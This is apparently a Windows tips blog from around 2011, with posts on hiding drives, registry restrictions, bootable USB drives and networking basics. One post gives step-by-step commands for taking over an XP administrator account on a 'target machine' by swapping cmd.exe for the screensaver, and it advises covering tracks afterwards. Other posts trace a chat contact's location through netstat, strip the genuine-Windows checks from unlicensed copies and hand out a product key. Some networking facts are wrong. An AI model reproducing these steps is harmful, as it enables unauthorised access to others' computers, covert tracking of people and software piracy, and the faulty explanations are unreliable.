PC Info & Tricks

Difference Between Router and Switch

2012-02-10T22:53:00.000+05:30

Specification	Router	Switch
Table:	Store IP address in Routing table and maintain address at its own.	Store MAC address in lockup table and maintain address at its own
Address used for data transmission:	Uses IP address	Uses MAC address
Data Transmission form:	Packet	Frame (L2 Switch) Frame & Packet (L3 switch)
Transmission Type:	At Initial Level Broadcast then Uni-cast & Multicast	At Initial Level Broadcast then Uni-cast & Multicast
Technical Specifications:	Routers operate at Layer 3 (Network) of the OSI model.	Network switches operate at layer two (Data Link Layer) of the OSI model.
Transmission Mode:	Full duplex	Full duplex
Device Category:	Intelligent Device	Intelligent Device
Device Type:	inter networking device	networking device
Layer:	Network Layer	Data Link Layer Network Layer
Ports:	2/4/8/	8/16/24/48
Used for:	Connecting Two or more networks.	Connecting two or more nodes.
Features:	Firewall VPN Dynamic handling of Bandwidth	Priority rt range On/Off setting of port VLAN Port mirroring
Faster:	In a different network environment (MAN/ WAN) Router is faster than L3 Switch.	In a LAN environment L3 switch is faster than Router (built in switching hardware)
NAT (Network Address Translation):	Can Perform NAT	Switches can Not perform NAT
Routing Decision:	Take faster Routing Decision	Take more time for complicated routing Decision
Collision:	Less	Less
Bandwidth sharing:	Bandwidth sharing is Dynamic (Enables either static or dynamic bandwidth sharing for modular cable interfaces. The default percent-value is 0. The percent-value range is 1-96.)	If speed of switch is 10/100 Mbps then bandwidth of each and every one of its ports gets 10/100 Mbps.
Speed:	1-10 Mbps(Wireless) 100 Mbps (Wired)	10/100Mbps, 1Gbps
Speed:	LAN . WAN	LAN

Find Facebook, google Plus and other Chat Sites Friends Location On Chat Time

2011-08-03T12:20:00.000+05:30

If you want to know the IP address or Location of a Friend on facebook , orkut or any chat service.

There is only one way: Just invite or ping him for a chat and while chat is ON

open ‘Command Prompt‘ on your PC

1. (Start >Run>cmd).

Here Type the following command and hit Enter.

netstat -an

And you will get all IP addresses there. Note down all the suspicious IP’s

NOTE : Remember, When You use give this command for tracing your other Browser are not open other wise this command will trace all IP which communicate with your Pc.

2. You can Find IP address location Through this link .

http://www.ip-adress.com/ip_tracer/

It will show you all the information about that user along with his ISP and a Location in the MAP.

Hide Any Drive In 3 Steps in Windows .

2011-07-04T14:25:00.007+05:30

Method 1:
This would Quite seems funny. If you do hide your drive in windows with out software, but this is possible . you come right place. Most of you must have wondered if there exists a way without using software to Hide A Drive completely so that it cannot be viewed or accessed without unlocking it. Well for those who have and who haven't yet, here is a easiest method on How To Hide Any Drive In Just 3 Steps.

Here we go, follow these 3 simple steps: For Window XP,

1. Go To Start --> Run or use Win+R keys and type "cmd" and press Ok.

2. This will open Command Prompt for you. Now type "diskpart" and press Enter:

Once in Diskpart type "list volume" and press Enter:

This will list all the partitions in ur system.

Enter The Following Command

"select volume 10".

Remember to change 10 with the volume number of your partition you want to hide and press Enter:

3.Now as in my example I am hiding drive G: so my last command is "remove letter G" and then press Enter:

All done. Now open your computer and see that drive is made hidden. Now to make a drive Unhidden
Follow first 2 steps as such but in step 3 instead of remove letter G use "assign letter G"

Method 2 :

Disabling Display of Drives in My Computer

To disable the display of local or networked drives when you click My Computer go to :
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
Now in the right pane create a new DWORD item and name it NoDrives. Now modify it's value and set it to 3FFFFFF (Hexadecimal) Now press F5 to refresh. When you click on My Computer, no drives will be shown. To enable display of drives in My Computer, simply delete this DWORD item. It's .reg file is as follows:
REGEDIT4
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
"NoDrives"=dword:03ffffff

Method 3 :

Hide any Drive Using gpedit.msc in windows xp , vista and win 7 .
Now its turn for moving on to another level, lets suppose a virus or your administrator has blocked both command prompt and regedit but you still want to hide your drive, in that case Group Policy Editor will come in play.
Here is how to do it:
Step 1. Open Group Policy Editor (Press Win+R and type Gpedit.msc and press Enter)
Step 2. Navigate to User Configuration > Administrative Templates > Windows Component > Windows Explorer

Step 3. Now on the right Hand side i.e Settings Pane look for Hide these specified drives in My Computer.
Step 4. Double Click on it and Enable it, now choose from the drop down box which drive you want to hide (I choose All – Restrict All Drives)
Step 5. Now click on Apply and click OK, now you can see that Hide these specified drives in My Computer is Enabled.
Step 6. Now logoff and login back to see changes.
How to revert back
In order to get them back go to Gpedit and set the Hide these specified drives in My Computer setting to Disable. That’s it

Method 4:
This is very easy and Simple step to hide the drive .
1. Right click on "my computer" .
2. Manage.
3.Disk Management
4.Right click on partition which u want hide.
5.Change Drive letter and path
6.Remove.
now come back and see in your my computer Your is already hide .
7. To show the drive go again in Disk management through mange .
8. Right the partion which u had hide before
9. change drive letter and path
10. add
ok
now enjoy . with these trick i hope these are useful for you ..

How to hack windows XP admin password .

2011-07-04T14:19:00.000+05:30

If you log into a limited account on your target machine and open up a dos prompt
then enter this set of commands Exactly:
cd\ *drops to root
cd\windows\system32 *directs to the system32 dir
mkdir temphack *creates the folder temphack
copy logon.scr temphack\logon.scr *backsup logon.scr
copy cmd.exe temphack\cmd.exe *backsup cmd.exe
del logon.scr *deletes original logon.scr
rename cmd.exe logon.scr *renames cmd.exe to logon.scr
exit *quits dos
Now what you have just done is told the computer to backup the command program
and the screen saver file, then edits the settings so when the machine boots the
screen saver you will get an unprotected dos prompt with out logging into XP.
Once this happens if you enter this command minus the quotes
"net user password"
If the Administrator Account is called Sanju and you want the password don enter this
"net user Sanju don"
and this changes the password on sanju machine to don and your in.

Have fun
p.s: dont forget to copy the contents of temphack back into the system32 dir to cover tracks

Make Without Name Folder.

2011-04-20T12:46:00.002+05:30

right click->make new folder->use backspace to remove the name
->press alt+0160-->press enter.
use number keys which are on right side of keyboard.

How to make super hidden files or folders

2011-04-20T12:44:00.001+05:30

1. Open a command prompt
Click Start button-> select Run -> type "cmd" ( XP )
Click Start button-> type "cmd" in the seach box ( 7 )

2. Then press Enter

3. type "cd path_of_your_file" to go to place of your file

4. then type "dir" to view content of folder

5. then type "attrib +s +h file's_name" then press Enter

6. then view again with "dir" command.

Open multipal Gtalk

2011-04-20T12:21:00.001+05:30

1. Go to your desktop and right click on Google Talk shortcut icon.

2. You can see the target path as “C:\Program Files\Google\Google Talk\googletalk.exe”

3. Simply add /nomutex at the end of that path.

4. Final Gtalk path should be “c:\program files\google\google talk\googletalk.exe” /nomutex

5. Now you can click on this Gtalk shortcut on your desktop as many times as you want.

Each time you click on it, it will open a new window and will allow you to login with different login names at the same time.
You are done.

If you don’t have a Gtalk shortcut on your desktop, but want to do this Gtalk trick, you can navigate Right click on your desktop >> New >> Shortcut. Type “c:\program files\google\google talk\googletalk.exe” /nomutex in the shortcut field, and it will automatically make an multi login Gtalk username for you.

Run multiple yahoo messanger

2011-04-20T12:13:00.001+05:30

go to start>run

and type regedit

go to HKEY_CURRENT_USER

>Software

>yahoo

>pager

>test

Right Click

New> DWORD Value

name the new file "plural"

Double click it and change from 0 to 1

now you can open unlimited Yahoo Messangers

Now Your Computer Speaks Your Language .

2011-04-08T17:47:00.001+05:30

How to Make Your Computer Speak Whatever You Type.

Create your own text to speech converter software to make your computer speak whatever you type.

Steps

1. Open the Notepad.

2.Copy/Write the code as given below into the notepad.

Dim message, sapi
message=InputBox("What do you want me to say?","Speak to Me")
Set sapi=CreateObject("sapi.spvoice")
sapi.Speak message

3. Save the file with any name with an extension .vbs

4. Run the file, type anything you want in the textbox and press OK.
5. Enjoy

Remove and Restrict all Kinds of Restrictions for Windows 2000, XP, 2003, Vista, 2008 and 7

2011-04-07T13:50:00.003+05:30

Following is a list of some interesting restrictions, which can be made in Windows 2000, XP, 2003, Vista, 2008 and 7. Like you can restrict Display properties, task bar properties, folder options, etc. All tricks are based on Registry editing. So I'll tell the key name and the value, that you have to create for the restriction. If the key is not present, then simply create it.

Remove & Restrict All Kinds of Restrictions...
NOTE: If you want to remove the restriction, then simply delete the DWORD value or set its value to 0
So, here we start:
1.) Restrict Display Properties:
HKEY_CURRENT_USER\Software\Microsoft\Windows\Current Version\Policies\System
create DWORD value NoDispCPL and set its value to 1

2.) Restrict Taskbar Properties:

HKEY_CURRENT_USER\Software\Microsoft\Windows\Current Version\Policies\Explorer

create DWORD value NoSetTaskbar and set its value to 1

3.) Restrict Folder Options:

HKEY_CURRENT_USER\Software\Microsoft\Windows\Current Version\Policies\Explorer

create DWORD value NoFolderOptions and set its value to 1

4.) Restrict Locking/Unlocking the taskbar:

HKEY_CURRENT_USER\Software\Microsoft\Windows\Current Version\Policies\Explorer

create DWORD value LockTaskbar and set its value to 1

5.) Restrict Active Desktop:

HKEY_CURRENT_USER\Software\Microsoft\Windows\Current Version\Policies\Explorer

create DWORD value NoActiveDesktop and set its value to 1

6.) Restrict adding/deleting items from Toolbars:

HKEY_CURRENT_USER\Software\Microsoft\Windows\Current Version\Policies\Explorer

create DWORD value NoToolbarCustomize and set its value to 1

7.) Restrict adding/deleting toolbars:

HKEY_CURRENT_USER\Software\Microsoft\Windows\Current Version\Policies\Explorer

create DWORD value NoBandCustomize and set its value to 1

8.) Restrict right-click in Start Menu:

HKEY_CURRENT_USER\Software\Microsoft\Windows\Current Version\Policies\Explorer

create DWORD value NoChangeStartMenu and set its value to 1

9.) Restrict Desktop Cleanup Wizard:

HKEY_CURRENT_USER\Software\Microsoft\Windows\Current Version\Policies\Explorer

create DWORD value No Desktop Clean up Wizard and set its value to 1

10.) Restrict notification at low disk space:

HKEY_CURRENT_USER\Software\Microsoft\Windows\Current Version\Policies\Explorer

create DWORD value No Low Disk Space Checks and set its value to 1

11.) Restrict Taskbar Context Menu:

HKEY_CURRENT_USER\Software\Microsoft\Windows\Current Version\Policies\Explorer

create DWORD value No Tray Context Menu and set its value to 1

12.) Restrict Programs to run:

HKEY_CURRENT_USER\Software\Microsoft\Windows\Current Version\Policies\Explorer\DisallowRun

create String value with any name, like 1 and set its value to the program's EXE file.

e.g., If you want to restrict msconfig, then create a String value 1 and set its value to msconfig.exe. If you want to restrict more programs, then simply create more String values with names 2, 3 and so on and set their values to the program's exe.

13.) Restrict Registry Editor:

HKEY_CURRENT_USER\Software\Microsoft\Windows\Current Version\Policies\System

create DWORD value Disable Registry Tools and set its value to 1

14.) Restrict Task Manager:

HKEY_CURRENT_USER\Software\Microsoft\Windows\Current Version\Policies\System

create DWORD value Disable TaskMgr and set its value to 1

15.) Restrict Writing to USB Drives:

HKEY_LOCAL_MACHINE\SYSTEM\Current Control Set\ ControlSet \Control\ Storage Device Policies

Create DWORD value Write Protect and set its value to 1

16.) Restrict New option in context menu:

HKEY_CLASSES_ROOT\Directory\Background\ shellex\ Context Menu Handlers\New

And delete the value of Default, e.g., empty it.

17.) Restrict Send To in context menu:

HKEY_CLASSES_ROOT\AllFilesystemObjects\shellex\ContextMenu Handlers\Send To

And delete the value of Default, e.g., empty it.

18.) Restrict Balloon Tips:

HKEY_CURRENT_USER\Software\Microsoft\Windows\Current Version\Explorer\Advanced

Create DWORD value EnableBalloonTips and set its value to 0

19.) Restrict Users to enable New XP StartMenu:

HKEY_CURRENT_USER\Software\Microsoft\Windows\Current Version\Policies\Explorer

Create DWORD value No Simple Start Menu and set its value to 1

20.) Restrict Command Prompt:

HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System

Create DWORD value Disable CMD and set its value to 2

21.) Restrict Drives in My Computer:

HKEY_CURRENT_USER\Software\Microsoft\Windows\Current Version\Policies\Explorer

In right-side pane, create a new DWORD value No View On Drive and change its value as following:

3 : To Restrict A and B drives only.
4 : To Restrict C drive only.
7 : To Restrict A, B, and C drives only.
8 : To Restrict D drive only.
F : To Restrict A, B, C, and D drives only.
03FFFFFF : To Restrict all drives.

And if you want more specific restrictions, like you want to restrict a combination of other drives, then you can use decimal no. instead of hexadecimal no. Following is a list for all drives decimal no.:

A: 1
B: 2
C: 4
D: 8
E: 16
F: 32
G: 64
H: 128
I: 256
J: 512
K: 1024
L: 2048
M: 4096
N: 8192
O: 16384
P: 32768
Q: 65536
R: 131072
S: 262144
T: 524288
U: 1048576
V: 2097152
W: 4194304
X: 8388608
Y: 16777216
Z: 33554432
ALL: 67108863

So if you want to disable a combination of drives, just sum their numbers and give the same value to NoViewOnDrive. e.g., for restricting C, D, E and F drives, give the value: 4+8+16+32 = 60

NOTE: You can also hide the drives using No Drives DWORD value. The location and its value remain same as the above trick.

22.) Restrict RUN in New XP Start Menu:

HKEY_CURRENT_USER\Software\Microsoft\Windows\Current Version\Policies\Explorer

Create DWORD value No Run and set its value to 1

23.) Restrict Control Panel:

HKEY_CURRENT_USER\Software\Microsoft\Windows\Current Version\Policies\Explorer

Create DWORD value No Control Panel and set its value to 1

Hope I Provide you the information, to help to win the battle against any virus, worms, trojan horse, malware or spyware, who may restrict you.

Difference Between Windows and Linux

2011-04-05T13:30:00.000+05:30

Linux is an open-source Operating System. People can change codes and add programs to Linux OS which will help use your computer better. Linux evolved as a reaction to the monopoly position of windows. you can't change any code for windows OS. You can't even see which processes do what and build your onw extension. Linux wants the programmers to extend and redesign it's OS. Linux user's can edit its OS and design new OS.
All flavors of Windows come from Microsoft. Linux come from different companies like LIndows , Lycoris, Red Hat, SuSe, Mandrake, Knopping, Slackware.
Linux is customizable but Windows is not. For example,NASlite is a version of Linux that runs off a single floppy disk and converts an old computer into a file server. This ultra small edition of Linux is capable of networking, file sharing and being a web server.
Linux is freely available for desktop or home use but Windows is expensive. For server use, Linux is cheap compared to Windows. Microsoft allows a single copy of Windows to be used on one computer. You can run Linux on any number of computers.
Linux has hign security. You have to log on to Linux with a userid and password. You can login as root or as normal user. The root has full previlage.
Linux has a reputation for fewer bugs than Windows.
Windows must boot from a primary partition. Linux can boot from either a primary partition or a logical partition inside an extended partition. Windows must boot from the first hard disk. Linux can boot from any hard disk in the computer.
Windows uses a hidden file for its swap file. Typically this file resides in the same partition as the OS (advanced users can opt to put the file in another partition). Linux uses a dedicated partition for its swap file.
Windows separates directories with a back slash while Linux uses a normal forward slash.
Windows file names are not case sensitive. Linux file names are. For example "abc" and "aBC" are different files in Linux, whereas in Windows it would refer to the same file.
Windows and Linux have different concepts for their file hierarchy. Windows uses a volume-based file hierarchy while Linux uses a unified scheme. Windows uses letters of the alphabet to represent different devices and different hard disk partitions. eg: c: , d: , e: etc.. while in linux " / " is the main directory.
Linux and windows support the concept of hidden files. In linux hidden files begin with " . ", eg: .filename
In Linux each user will have a home directory and all his files will be save under it while in windows the user saves his files anywhere in the drive. This makes difficult to have backup for his contents. In Linux its easy to have backup's.

[How To] Block programs in Windows 7 using Registry Editor

2011-04-01T10:54:00.000+05:30

Follow the simple steps given below to block execution of any particular program on your Windows 7.

Click Start, and then click Run.
In the text box, type regedit, and press Enter.
Locate and then click the following registry key:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion \Policies\Explorer
In the right side panel right click on some empty area and point to New, and then click on DWORD Value.
Type disallowrun, and then press ENTER.
Double-click the DisallowRun value that you created in the previous step.
Type 1 in the Value data box, and then click OK.
Create a new HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion \Policies\Explorer\DisallowRun subkey.
Right-click the following registry key, point to New, and then click Key: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion \Policies\Explorer.
Type disallowrun, and then press ENTER.
For each program that you want to prevent users from running, create a new string value in the DisallowRun subkey . Use consecutive numbers to name the string values (starting with 1), and use the executable file name for the program as the data for the string value.For example, if you want to restrict users from running Microsoft Internet Explorer:
1. Go to the following key in Registry Editor:
  HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion \Policies\Explorer\DisallowRun. Then right click in the right side panel and create a new string value. Type 1, and then press ENTER.
2. Double-click the 1 value that you created in the previous step.
3. Type iexplore.exe in the Value data box, and then click OK.
Quit Registry Editor, and then restart the computer.

What is the Difference Between Router and Switch?

2011-03-28T12:26:00.000+05:30

Routers and switches are both pieces of networking equipment that help data move across the network to their final location, but they work differently, and actually function at different levels of the networking stack. What is the difference between a router and a switch?
The least intelligent kind of networking device is a hub, which takes data in one port, and then retransmits it out every other port. So any information sent or received by any single computer on a hub is retransmitted to every other computer. This is bad for security, obviously, but it also uses up a lot of bandwidth on the network, as computers have to receive data that they don’t need.

A switch uses a little more intelligence. It learns the IP address of each computer attached to it, by matching up IP addresses with hardware MAC addresses. When data comes into the switch, it only sends data back out the port assigned to that computer’s MAC address. Switches are said to work at a hardware level, and help relieve bandwidth across the network.

A router is the most intelligent networking device. But routers aren’t like really intelligent switches, they actually work in a completely different way. Routers are designed to connect networks together. So, your internal network might have IP addresses, like 192.0.0.100, while your Internet service provider might give your computer an IP address that starts with 64.x.x.x. A router can take internal traffic bound for destinations out on the Internet in general, and route it from your internal network to the external network. Whenever you change networks, you need a router. And vice versa when information comes from the external network to your home network.

More Difference between router and switch

In those early days when router is router and switch is switch, these two are different in several ways:

· Router understand IP head, and switch deal with MAC address

·        Router has its own IP address(es), and switch don’t
·        Router has an operating system running inside, and allow administrator to login into the system.
·        You (network administrator) must configure routing table to make it works.
·        Switch is usually ready to use.
·        Router has routing software running inside, including route discovery protocol.
·        Routing software know how to deal with different IP packet, such as ICMP and other IP option       functionality. Switches don’t.
·        Multiple routers can be connected together as a network.

. You can’t directly multiple switches together to form a large network.

Install win Vista , & win 7 , 2000. 2003, 2008, Linux via Bootable pendrive .

2011-03-14T13:24:00.003+05:30

Now You can install windows with your pendrive just follow blow tips .
1. To make win vista, 7, bootable pen drive u need 4 gb pen drive and if u want xp bootable than u can use 2gb pen drive.
2. Download blow link Software .
http://hotfile.com/dl/110164749/e0ee968/winto_flash.rar.html
or
http://wintoflash.com/download/en/
3.Run win to flash application .

4.Insert your windows cd (which u want make bootable ) in your drive .
5.In windows file select your cd drive letter and usb drive select your pen drive letter path.

6. Click next (wait for few minutes your bootable pen drive will ready .)
7. now u can install windows from usb but remember in your BIOS first device should be usb drive . if there not than u go bios Boot menu and go on hard disk option here u select usb pendrive as your first hard disk .
Now You can install easily..

Not able to open drives on hard disk by double click

2011-03-09T12:52:00.000+05:30

Sometimes it happens in windows XP that you are not able to open drives on your hard disk. When you double clicking on the drives icons or right click on the drive>>explore in My computer ,the drive does not open.
This problem is generally caused by most of the viruses which infect windows XP system. They block or restrict your access to any of the drives.
But don’t worry this is not a big trouble it can be fixed easily.

Fix:
Normally when a virus infects a windows system which causes a drive opening problem, it automatically creates a file named autorun.inf in the root directory of each drive.
This autorun.inf file is a read only ,hidden and a system file and the folder option is also disabled by the virus. This is deliberately done by the virus in order to protect itself. autorun.inf initiates all the activities that the virus performs when you try to open any drive.
You have to just delete this file and restart your system to correct this problem.
Follow the set of commands below to show and delete the autorun.inf
1. Open Start>>Run and type cmd and press enter. This will open a command prompt window. On this command prompt window type the following steps.
2. type cd\
3. type attrib -r -h -s autorun.inf
4. type del autorun.inf
5. now type d: and press enter for d: drive partition. Now repeat steps 3 and 4. Similarly repeat step 5 for all your hard disk partition.
Restart your system and your trouble will be fixed.

How to Turn On Facebook Chat on Hotmail and Windows Live Messanger

2011-03-04T12:19:00.000+05:30

Microsoft has recently integrated and turned on an interesting feature on Hotmail and Windows Live Messanger. Basically, if you have a Facebook profile and wish to use its chat on your Hotmail web-based email account, you will be able to do it thanks a new set of options which will let you enable and turn on Facebook chat directly inside your Hotmail account. Additionally, users will also be able to see Windows Live Messenger and Facebook friends all grouped together under the same Hotmail account. If you use Windows Live Messenger instead, you will be able to see all of your friends (Hotmail and Facebook contacts) directly in your chat client application. This brief guide will show you how to turn on Facebook Chat to Windows Live Messenger and Hotmail.

Login to your Hotmail account.
On the top left side of your Hotmail account, click the Messenger link and from the drop-down menu, click the Profile option.
In the left pane, click Connect that is located under the Connect to section.
Click the Facebook button.
Under the Share on Windows Live section, tick the “Chat with my Facebook friends in Messanger” checkbox.
Click Connect.
At this point, Hotmail will connect to your Facebook account. To do it you will have to login to your Facebook account by using your Facebook username and password.
Click the Allow button to turn on Facebook chat on your Hotmail account.
At this point you have successfully linked your Facebook friends to your Windows Live Messenger as a new Facebook group will appear on your chat client. At the same time, you will also be able to chat with your Facebook friends, directly from your Hotmail inbox by clicking on their names. This will make a small chat window pop-up on your screen.

Add a picture to a folder

2011-03-04T12:01:00.000+05:30

1.	In Windows Explorer (the program that appears when you open folders such as My Computer, My Documents, My Pictures, or My Music), right-click the folder you want to add a picture to, and then click Properties.
2.	In the Properties dialog box, click the Customize tab. If there is no Customize tab, you cannot add a picture to that folder. You can add pictures to other folders, however.
3.	On the Customize tab, click Choose Picture.
4.	In the Browse dialog box, click the picture you want to use, and then click Open.
5.	Click OK.

When you view the folder using Thumbnails view, Windows displays a thumbnail of the picture you selected

You Can Change Your profile Colour In Facebook.

2011-03-03T11:35:00.000+05:30

Here is the step by step tutorial with screenshots for trick to change the color of facebook.

Open firefox browser. If u don't have Click below link to download . http://www.mozilla.com/en-US/products/download.html?product=firefox-3.6.14&os=win&lang=en-US
Now install the greasemonkey add0n into your browser. To Download click below link https://addons.mozilla.org/en-US/firefox/addon/greasemonkey/
After installation is complete restart your browser.
Now open facebook and login into your facebook account.
Now goto Tools>Greasemonkey>Userscript Commands>Customise Facebook Colours.

6.You will now see to boxes with colours.Select the colour you want and click on Set button.

Password protect folders in windows xp

2011-02-28T14:23:00.000+05:30

Do you share a computer with other users and want some extra security on your folders? There are two ways to password protect a folder built into Windows XP (for other Windows flavors, there are some freeware/shareware programs out there).

#1. If you have a log in password for your account, this can be used to protect folders from other users. Your hard drive must be formatted using NTFS (which it probably is unless you're dual booting with another operating system). Here's what to do...

Right-click the folder that you want to make private and choose "Properties" (or Alt+Double-click). Go to the "Sharing" tab and check the "Make this folder private" box.

Click Apply . If you do not have a password on your account, a box will pop up asking if you want to assign a password. This must be done if you want to make the folder private, so click Yes . You will need to use your password to log on to your computer from then on.

Type in a password then confirm it. Click the "Create Password" button then close the Password window.

Click OK in the Properties dialog box.

Now anyone else logged on to your computer can't access that file without knowing your password.

#2. If the Folder is Zipped you can give it a unique password.

Just double-click the zipped folder. In the top menu select File then click "Add a Password".

Type a password into the Password box. Then again in the "Confirm Password" box.

Now, you are the only person who can access files in this folder. The folder can be opened allowing the files to be seen, but you are the only one who can access them.

Don't you feel more secure now?

How to disable Windows XP Boot logo

2011-02-28T14:07:00.000+05:30

It is possible to disable the XP splash screen, which will slightly speed up the overall boot process. Be aware that removing the splash screen will also cause you not to see any boot-up messages that might come up (chkdsk, convert … ), but if your system runs without any problems then it should not matter.

Start>Run
c:/boot.ini
Edit boot.ini.
Add ” /noguiboot” right after “/fastdetect”.

Upon restarting, the splash screen will be gone. It can be re-enabled by removing the new switch.

Install Windows xp in less than 15 minutes.

2011-02-28T13:57:00.000+05:30

Now, this tip will be very helpful for those who frequently install windows xp operating system. Normally OS installation takes around 40 minutes to complete, but through this trick you can now save 10-15 minutes. This simple tricks goes this way.

1. Boot through Windows XP CD.

2. After all the files are completely loaded, you get the option to select the partition. Select “c”.
3. Now Format the partition, whether it is normal or quick with NTFS or FAT
4. Once the formatting is completed, All the setup files required for installation are copied. Restart your system by pressing Enter.
Now, here begins the Simple trick to save 10-15 minutes.
5. After rebooting, you get a screen where it takes 40 minutes to complete or finalize the OS installation.
6. Now, Press SHIFT + F10 Key -> This opens command prompt.
7. Enter “Taskmgr” at the command prompt window. This will open Task Manager.
8. Click the Process Tab, here we find a process called Setup.exe -> Right Click on Setup.exe -> Set Priority -> Select High or Above Normal. Initially it will be Normal.
Thats it, no more work to do. Relax your self and see how fast the installation process completes

Remove Shortcut From Pen Drive

2011-02-28T11:14:00.000+05:30

Click on "Start" -->Run --> type cmd and click on OK.
Here I assume your pen drive letter as G:
Enter this command.

attrib -h -r -s /s /d g:\*.*

You can copy the above command --> Right-click in the Command Prompt and
paste it.
Note : Don't forget to replace the letter g with your pen drive letter.
Now press "Enter".
Now check for your files in Pen Drive.

Save Windows Startup password In your Pendrive

2011-02-27T14:12:00.000+05:30

Now You Can put your sytem password in your pen drive and nobody can open this password without your pendrive .(Just Follow these Step.)
1. First you disable Floppy Drive in your C-Mos setting .
2.Start your PC and insert your Pen Drive .
3.Right Click On My Computer and select Manage.
4.Go on Disk Management Tool and Change your Pen Drive letter "A".
Now your pen drive letter is "A".
5.Start .
6.Run
syskey
and hit enter .
7.update >system generated password .
8.Store Startup Key on Floppy Drive .
where floppy drive is your pen drive .
9.Give a password that has gone save in your pen drive .
Note : keep pen drive safely and don't format it without of this you can't open your system.
and this is an windows SAM password if you break one time than it is not possible to restore it .
If you have any query please leave comment . i will do my best as will be possible .

How to remove Windows XP Genuine Advantage Notification

2011-02-27T13:44:00.000+05:30

If your Windows XP is not licensed and your computer is connected to internet, it is very possible to get the newest Microsoft update in form of WGA Notification – Windows Genuine Advantage Notification or GENUINE warning.
This update will remind you all time that your Windows XP Operating System is not licensed and it will give options for licensing. Also when your system is already started, the WGA process is always active in your taskbar and there is no way to turn off because it will be started again automatically and continue with annoying warnings.
But here is simple tutorial how to remove genuine warnings:

First – click Start then Run and type “regedit” without quotes and press Enter
Go to My Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify. In this location delete the folder “WgaLogon” and all content with name WgaLogon. If there is no WgaLogon folder continue with next steps.
Restart your computer. After restart WGA will not be active and you can remove it completely following the next steps:
Set your folders options to show hidden and protected Windows files – go to My Computer/Tools/Folder Options and then choose View. From the View tab choose “Show hidden files and folders” and uncheck “Hide protected operating system files” and click OK
Now, Go to folder Windows\System32\dllcache, find and delete “WgaTray.exe”. Also, check for “WgaTray.exe” in Windows\System32\, and if you find it delete it, and search for “Wga*.*” with Start-Search-All files and folders and delete everything that starts with “Wga” (Wgatray.exe; Wgalogon.dll, Wgasetup; etc..)
Restart your computer again and live happy and free.

How change windows xp & Vista & Win 7 Key..

2011-02-27T13:39:00.000+05:30

1. This is a First method to change your windows XP Genuine key.
*Start
*Run
*Regedit .
Hkey_Local Machine\Software\Microsoft\WindowsNT\Current Version\Wpevents.
*In Right Pannel == Click OOBTimer And click Modify.
*And Change atleast One digit and close the window.(Change Digit = change the product key what you have install already.. and your windows now need other key )..
*You can use TQBTQ-XQV3X-32RCG-VJ3C8-KWKWJ...
2. In Run Pannel you Type Below Command.
"%systemroot%\system32\oobe\msoobe.exe\a"
*and change product key..
3. This is Method to change win vista & 7 Product Key.
*Start and Run
Type cmd and hit enter
#slmgr.vbs -ipk (your Product Key)
To activate Product Key.
#slmgr.vbs -ato
This is best method to resolve your Genuine Windows Activation Problem..